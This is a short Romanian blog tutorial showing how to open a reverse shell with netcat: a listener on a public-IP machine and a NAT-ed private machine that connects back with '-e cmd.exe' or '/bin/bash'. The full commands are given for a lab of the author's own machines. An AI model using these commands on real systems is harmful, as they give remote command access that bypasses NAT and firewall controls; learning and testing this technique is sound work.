reverse shell cu netcat

Se dau 2 pc-uri, unul cu IP public (il vom numi PUB), unul cu IP privat (il vom numi PRV), NAT-at.
De pe pc-ul cu IP public vrei sa ai acces la linia de comanda a pc-ului cu IP privat.

Rulam nc pe PUB cu parametrii -lvp 1414:

-l listen mode, for inbound connects
-v verbose [use twice to be more verbose]
-p port local port number

netcat


Pe PRV rulam nc cu parametrii -v ipPUB portsetat -e cmd.exe
Daca sistemul de operare era linux, in loc de cmd.exe puteam alege sa execut /bin/bash.

-e prog inbound program to exec [dangerous!!]

netcat


In momentul asta, linia de comanda de pe PUB, unde am rulat netcat cu parametrul -l, sa asculte conexiuni din exterior pe portul 1414, am (atentie, prompt-ul s-a modificat cu cel al staiei PRV):


In momentul asta, de pe statia PUB am acces la linia de comanda a statiei PRV (masina virtuala corespunde statiei cu IP privat din exemplu, iar windows 7 cu masina cu IP public):
netcat

You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

4 Comments »

 
 

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>